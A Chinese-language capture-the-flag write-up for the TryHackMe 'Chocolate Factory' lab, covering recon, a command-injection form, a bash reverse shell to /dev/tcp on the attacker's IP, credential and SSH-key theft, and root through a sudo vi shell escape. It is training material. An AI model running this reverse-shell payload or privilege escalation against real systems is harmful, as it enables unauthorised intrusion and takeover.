> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# TryHackMe Chocolate Factory writeup (zh-TW)
- URL: https://taiwanding.com/tryhackme-chocolate-factory-writeup-zh-tw/
- Published: 2025-10-13T06:49:28.000Z
- Updated: 2026-07-15T02:49:57.000Z
- Author: Kevin Chen
- Tags: tryhackme, web, reverse, crypto, CTF

## 題目資訊

- **平台**: TryHackMe
- **房間名稱**: Chocolate Factory
- **難度**: Easy
- **目標**: 獲取 User Flag、Root Flag 和 Charlie 的密碼
- **連結**: [https://tryhackme.com/room/chocolatefactory](https://tryhackme.com/room/chocolatefactory?ref=taiwanding.com)

## 偵察階段

### Nmap 掃描

```bash
nmap -sV -sC -p- 10.201.8.19 -Pn

```

**掃描結果：**

- Port 22: SSH
- Port 80: HTTP (Apache)

### 目錄枚舉

```bash
gobuster dir -u http://10.201.8.19/ \
  -w /usr/share/wordlists/dirb/common.txt -t 20

```

**發現的路徑：**

- `/index.html` \- 主頁面
- `/home.php` \- 命令介面
- `/validate.php` \- 登入驗證

### Step 1: Command Injection 漏洞

發現漏洞  
訪問命令介面home.php發現一個命令執行表單：

```html
<form method="POST">
    <input id="comm" type="text" name="command" placeholder="Command">
    <button>Execute</button>
</form>

```

後端 PHP 代碼存在嚴重漏洞：(先用ls，確認有index.php.bak，再cat)

```php
<?php
    if(isset($_POST['command']))
    {
        $cmd = $_POST['command'];
        echo shell_exec($cmd);  // 直接執行用戶輸入！
    }
?>

```

### 建立反向 Shell

**步驟 1：在本地設置監聽器 (Windows powershell)**

```bash
ncat -lvnp 4444

```

**步驟 2：注入 Payload**

在表單中輸入：

```bash
bash -c 'bash -i >& /dev/tcp/10.13.90.144/4444 0>&1'

```

**成功獲得 www-data shell！**

### Step 2: 獲取 Charlie 的密碼

文件枚舉

```bash
www-data@ip-10-201-8-19:/var/www/html$ ls -al
total 1152
-rw-rw-r-- 1 charlie charley     303 Sep 30  2020 validate.php
-rw-rw-r-- 1 charlie charley     273 Sep 29  2020 index.php.bak
-rw-r--r-- 1 charlie charley    8496 Sep 30  2020 key_rev_key

```

查看 validate.php

```bash
cat validate.php

```

**關鍵發現：**

```php
<?php
    $uname=$_POST['uname'];
    $password=$_POST['password'];
    if($uname=="charlie" && $password=="cn7824"){
        echo "<script>window.location='home.php'</script>";
    }
?>

```

**Charlie 的密碼：`cn7824`**

### Step 3: 分析 key\_rev\_key 獲取加密密鑰

下載文件，也可以直接在reverse shell上分析!

```bash
# 在目標機器上
python3 -m http.server 8000

# 在本地機器上
wget http://10.201.8.19:8000/key_rev_key

```

### 逆向分析

```bash
file key_rev_key
# key_rev_key: ELF 64-bit LSB executable

strings key_rev_key

```

**發現加密密鑰：**

```
b'-VkgXhFf6sAEcAwrC6YR-Redacted='
```

這是一個 Fernet 加密密鑰，稍後會用到！

### Step 4: SSH 登入獲取 User Flag

發現 SSH 私鑰

```bash
www-data@ip-10-201-8-19:/home/charlie$ ls -al
-rw-r--r-- 1 charlie charley 1675 Oct  6  2020 teleport
-rw-r--r-- 1 charlie charley  407 Oct  6  2020 teleport.pub
-rw-r----- 1 charlie charley   39 Oct  6  2020 user.txt

```

使用私鑰登入  
**步驟 1：複製私鑰到本地**

```bash
cat teleport

```

複製整個 RSA 私鑰內容（從 `-----BEGIN RSA PRIVATE KEY-----` 到 `-----END RSA PRIVATE KEY-----`）

**步驟 2：保存並設置權限**

```bash
nano charlie_key
# 貼上私鑰內容

chmod 600 charlie_key

```

**步驟 3：SSH 登入**

```bash
ssh -i charlie_key charlie@10.201.8.19

```

**成功登入！** （私鑰沒有密碼保護）

### 獲取 User Flag

```bash
charlie@ip-10-201-8-19:~$ cat user.txt
flag{Redacted}

```

### Step 5: 提權到 Root

檢查 Sudo 權限

```bash
charlie@ip-10-201-8-19:~$ sudo -l

User charlie may run the following commands on ip-10-201-8-19:
    (ALL : !root) NOPASSWD: /usr/bin/vi

```

利用 Vi 提權  
參考 [GTFOBins - vi](https://gtfobins.github.io/gtfobins/vi/?ref=taiwanding.com)

```bash
sudo vi -c ':!/bin/sh' /dev/null

```

**成功獲得 Root Shell！**

```bash
# whoami
root

```

### Step 6: 解密最終 Flag

發現加密腳本

```bash
# cd /root
# ls
root.py  snap

# cat root.py

```

**腳本內容：**

```python
from cryptography.fernet import Fernet
import pyfiglet

key=input("Enter the key:  ")
f=Fernet(key)
encrypted_mess= 'gAAAAABfdb52eejIlEaE9ttPY8ckMMfHTIw5lamAWMy8yEdGPhnm9_H_yQikhR-bPy09-NVQn8lF_PDXyTo-T7CpmrFfoVRWzlm0OffAsUM7KIO_xbIQkQojwf_unpPAAKyJQDHNvQaJ'
dcrypt_mess=f.decrypt(encrypted_mess)
mess=dcrypt_mess.decode()

display1=pyfiglet.figlet_format("You Are Now The Owner Of ")
display2=pyfiglet.figlet_format("Chocolate Factory ")
print(display1)
print(display2)
print(mess)

```

在本地執行  
由於目標機器缺少 `cryptography` 模組，下載到本地執行：

```bash
# 本地機器
nano root.py
# 貼上腳本內容

pip3 install cryptography pyfiglet

python3 root.py

```

**輸入之前獲得的密鑰：**

```
Enter the key:  -VkgXhFf6sAEcAwrC6YR-SZbiuSb8ABXeQuvhcGSQzY=

```

### 獲得最終 Flag

```
__   __               _               _   _                 _____ _
\ \ / /__  _   _     / \   _ __ ___  | \ | | _____      __ |_   _| |__   ___
 \ V / _ \| | | |   / _ \ | '__/ _ \ |  \| |/ _ \ \ /\ / /   | | | '_ \ / _ \
  | | (_) | |_| |  / ___ \| | |  __/ | |\  | (_) \ V  V /    | | | | | |  __/
  |_|\___/ \__,_| /_/   \_\_|  \___| |_| \_|\___/ \_/\_/     |_| |_| |_|\___|
  ___                              ___   __
 / _ \__      ___ __   ___ _ __   / _ \ / _|
| | | \ \ /\ / / '_ \ / _ \ '__| | | | | |_
| |_| |\ V  V /| | | |  __/ |    | |_| |  _|
 \___/  \_/\_/ |_| |_|\___|_|     \___/|_|
  ____ _                     _       _
 / ___| |__   ___   ___ ___ | | __ _| |_ ___
| |   | '_ \ / _ \ / __/ _ \| |/ _` | __/ _ \
| |___| | | | (_) | (_| (_) | | (_| | ||  __/
 \____|_| |_|\___/ \___\___/|_|\__,_|\__\___|
 _____          _
|  ___|_ _  ___| |_ ___  _ __ _   _
| |_ / _` |/ __| __/ _ \| '__| | | |
|  _| (_| | (__| || (_) | |  | |_| |
|_|  \__,_|\___|\__\___/|_|   \__, |
                              |___/
flag{Redacted}

```

## 技術要點總結

### 1\. Command Injection 漏洞

- **識別特徵**：直接使用 `shell_exec()` 或 `system()` 執行用戶輸入

### 2\. SSH 私鑰利用

### 3\. Sudo 提權 - Vi/Vim

- **檢查命令**：`sudo -l`
- **參考資源**：[GTFOBins](https://gtfobins.github.io/?ref=taiwanding.com)

**利用方法**：

```bash
sudo vi -c ':!/bin/sh' /dev/null# 或sudo vim -c ':!/bin/bash'

```

### 4\. Fernet 加密解密

- **特徵**：Base64 編碼的對稱加密

## 經驗分享

### 關於Step 1: Command Injection 漏洞

這個home.php的頁面，理論上根據validate.php，要從index.html登入後會跳轉到這個頁面，才發現command injection，但一開始就可以利用gobuster找到，且沒有驗證身分，可以輕易繞過，而直接執行命令

### 關於Step 2: 獲取 Charlie 的密碼

Charlie我是拿完所有flag才回來做，也嘗試用/etc/shadow，要去解他的本機密碼，也嘗試要去解ssh的登入密碼，但後來都無果，所以才回到最一開始的reverse shell，發現漏看一個validate.php

### 關於Step 6: 解密最終 Flag:

最終的flag還有一層解密，算是作者首見，挺有趣味的哈!